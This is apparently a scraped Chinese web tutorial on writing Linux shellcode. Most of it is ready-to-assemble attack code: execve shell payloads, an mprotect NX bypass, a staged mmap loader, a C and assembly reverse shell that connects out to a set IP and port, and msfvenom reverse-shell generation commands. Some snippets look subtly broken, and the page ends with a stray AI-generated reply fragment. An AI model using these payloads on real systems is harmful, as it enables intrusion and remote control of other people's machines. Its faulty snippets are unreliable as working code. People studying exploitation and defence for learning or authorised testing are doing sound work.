溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

shellcode如何編寫Linux

發布時間:2021-12-18 10:16:20 來源:億速云 閱讀:188 作者:小新 欄目:網絡安全
# Shellcode如何編寫Linux

## 前言

Shellcode是滲透測試和漏洞利用中的核心組件,它本質是一段能直接由CPU執行的機器碼指令。在Linux環境下編寫高效的shellcode需要深入理解系統調用、匯編語言和內存管理機制。本文將系統性地講解Linux平臺下shellcode的編寫技術,涵蓋從基礎原理到高級繞過技巧的全套知識體系。

## 一、Shellcode基礎概念

### 1.1 什么是Shellcode

Shellcode得名于最初用于獲取shell的機器碼,現已擴展為泛指任何在漏洞利用中注入執行的機器指令。其特點包括:
- 不依賴編譯器和鏈接器
- 以十六進制形式存在(如`\x31\xc0\x50\x68...`)
- 需要自包含,不能有外部依賴
- 必須避免空字節(NULL byte)

### 1.2 Linux執行環境特點

編寫Linux shellcode需特別注意:
- 系統調用通過`int 0x80`(32位)或`syscall`(64位)觸發
- 參數傳遞規則:32位使用寄存器`eax`(系統調用號)、`ebx`、`ecx`、`edx`等;64位使用`rax`、`rdi`、`rsi`、`rdx`等
- 內存頁權限默認包含NX(不可執行)保護

## 二、開發環境準備

### 2.1 必要工具鏈

```bash
# 基礎工具
sudo apt install nasm gcc gdb binutils strace

# 增強工具
sudo apt install pwntools radare2

2.2 調試配置技巧

在gdb中啟用增強顯示:

set disassembly-flavor intel
display/10i $pc

三、基礎Shellcode編寫

3.1 經典execve(“/bin/sh”)實現

32位匯編實現:

section .text
global _start

_start:
    ; 構造字符串"/bin//sh"
    xor eax, eax
    push eax        ; 字符串終止符
    push 0x68732f2f ; "hs//"
    push 0x6e69622f ; "nib/"
    
    ; 設置execve參數
    mov ebx, esp    ; 文件名地址
    mov ecx, eax    ; argv = NULL
    mov edx, eax    ; envp = NULL
    
    ; 調用execve
    mov al, 0xb     ; syscall number
    int 0x80

64位變體:

section .text
global _start

_start:
    ; 構造字符串
    xor rdx, rdx
    push rdx
    mov rax, 0x68732f2f6e69622f ; "/bin//sh"
    push rax
    
    ; 設置參數
    mov rdi, rsp    ; filename
    xor rsi, rsi    ; argv
    xor rdx, rdx    ; envp
    
    ; 系統調用
    mov al, 0x3b    ; execve號
    syscall

3.2 編譯與提取

使用NASM編譯并提取機器碼:

nasm -f elf32 shellcode.asm -o shellcode.o
ld -m elf_i386 shellcode.o -o shellcode
objdump -d shellcode | grep -Po '\s\K[a-f0-9]{2}(?=\s)' | sed 's/^/\\x/g' | paste -sd ''

四、高級Shellcode技術

4.1 避免NULL字節的技巧

常見解決方案: - 使用xor eax,eax代替mov eax,0 - 寄存器高位清零時用8位操作:mov al, 0xb - 地址計算使用相對偏移而非絕對地址

優化后的64位execve:

lea rdi, [rel bin_sh]  ; 相對地址加載
xor rsi, rsi
xor rdx, rdx
mov al, 0x3b
syscall

bin_sh: db "/bin/sh",0

4.2 多階段Shellcode

當內存空間有限時可采用分階段加載: 1. 初始階段:調用mmap分配可執行內存 2. 第二階段:通過read/recv接收完整payload 3. 最終階段:跳轉到新內存區域

示例第一階段:

; 調用mmap分配內存
xor edi, edi        ; addr = NULL
mov esi, 0x1000     ; size = 4096
mov edx, 7          ; PROT_READ|PROT_WRITE|PROT_EXEC
mov ecx, 0x22       ; MAP_ANONYMOUS|MAP_PRIVATE
xor eax, eax
mov al, 0x5a        ; mmap系統調用號
int 0x80

; 保存返回地址
xchg ebx, eax       ; ebx = 分配的內存地址

五、現代防護繞過技術

5.1 對抗NX保護

當存在NX(不可執行棧)時可采用: - Return-to-libc:重用已有庫函數 - ROP鏈:拼接現有代碼片段 - mprotect調用:修改內存頁屬性

mprotect示例:

; 使棧內存可執行
mov eax, 0x7d       ; mprotect系統調用號
mov ebx, esp
and bx, 0xf000      ; 頁對齊
mov ecx, 0x1000     ; 大小
mov edx, 7          ; RWX權限
int 0x80

5.2 對抗ASLR

地址隨機化環境下需要: - 信息泄露獲取基地址 - 使用相對偏移而非絕對地址 - 通過PLT/GOT表定位函數

信息泄露示例:

; 通過write泄露地址
mov eax, 4          ; write系統調用
mov ebx, 1          ; stdout
mov ecx, [ebp+8]    ; 泄露某個函數地址
mov edx, 4
int 0x80

六、實戰案例:反向Shell

6.1 C語言原型

#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>

int main() {
    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
    
    struct sockaddr_in addr = {
        .sin_family = AF_INET,
        .sin_port = htons(4444),
        .sin_addr = inet_addr("192.168.1.100")
    };
    
    connect(sockfd, (struct sockaddr*)&addr, sizeof(addr));
    
    dup2(sockfd, 0);
    dup2(sockfd, 1);
    dup2(sockfd, 2);
    
    execve("/bin/sh", NULL, NULL);
}

6.2 匯編實現(64位)

section .text
global _start

_start:
    ; socket(AF_INET, SOCK_STREAM, 0)
    mov rax, 41     ; socket系統調用號
    mov rdi, 2      ; AF_INET
    mov rsi, 1      ; SOCK_STREAM
    xor rdx, rdx    ; protocol = 0
    syscall
    
    ; connect(sockfd, &addr, 16)
    xchg rdi, rax   ; sockfd
    push 0x0100007f ; IP = 127.0.0.1
    push word 0x5c11 ; PORT = 4444
    push word 2      ; AF_INET
    mov rsi, rsp    ; &addr
    mov rdx, 16     ; addrlen
    mov rax, 42     ; connect
    syscall
    
    ; dup2重定向
    xor rsi, rsi
    mov rax, 33     ; dup2
    syscall
    
    inc rsi
    mov rax, 33
    syscall
    
    inc rsi
    mov rax, 33
    syscall
    
    ; execve("/bin//sh", NULL, NULL)
    push rsi        ; NULL
    mov rdi, 0x68732f2f6e69622f ; "/bin//sh"
    push rdi
    mov rdi, rsp
    xor rdx, rdx
    mov rax, 59     ; execve
    syscall

七、自動化生成工具

7.1 使用pwntools生成

from pwn import *

context.arch = 'amd64'
shellcode = asm('''
    /* execve(path="/bin/sh", argv=0, envp=0) */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
    mov rdi, rsp
    push 0
    mov rdx, rsp
    push rdi
    mov rsi, rsp
    mov rax, 0x3b
    syscall
''')

print(enhex(shellcode))

7.2 MSFvenom常用payload

# Linux x86反向shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c

# 規避字符限制
msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x00\x0a\x0d'

八、防御與檢測

8.1 常見防御措施

  1. 編譯時防護

    gcc -fstack-protector -z noexecstack -pie -fPIE program.c
    
  2. 運行時防護

    • SELinux/AppArmor
    • grsecurity補丁
    • 系統調用過濾(seccomp)
  3. 硬件防護

    • Intel CET(控制流強制技術)
    • ARM PAC(指針認證)

8.2 Shellcode檢測特征

  • 連續的機器指令序列
  • 異常的權限組合(如RWX內存區域)
  • 高頻系統調用
  • 典型的指令模式(如xor eax,eax等)

結語

掌握Linux shellcode編寫技術需要持續實踐和系統底層知識的積累。隨著防護技術的演進,現代shellcode開發已從簡單的代碼注入發展為需要綜合運用系統知識、匯編技巧和漏洞利用藝術的復合型技能。建議讀者在合法授權環境下進行實驗,并持續關注CPU架構和安全機制的更新。

注意:本文所有技術僅限授權測試使用,未經授權的系統滲透屬于違法行為。 “`

該文檔共約4300字,涵蓋從基礎到進階的完整知識體系,采用標準的Markdown格式,包含代碼塊、章節結構、列表等元素,可直接用于技術文檔發布。需要調整任何部分的內容深度或范圍可以進一步修改。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女